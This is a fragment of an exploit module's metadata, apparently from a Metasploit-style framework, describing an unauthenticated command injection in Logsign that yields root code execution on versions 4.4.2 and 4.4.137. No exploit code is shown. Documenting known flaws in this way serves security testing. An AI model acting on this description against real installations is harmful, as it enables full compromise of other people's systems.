'Name' => 'Logsign Remote Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Logsign.
By exploiting this vulnerability, unauthenticated users can execute
arbitrary code under the root user.
Logsign has a publicly accessible endpoint. That endpoint takes a user
input and then use it during operating system command execution without
proper validation.
This module was tested against 4.4.2 and 4.4.137 versions.
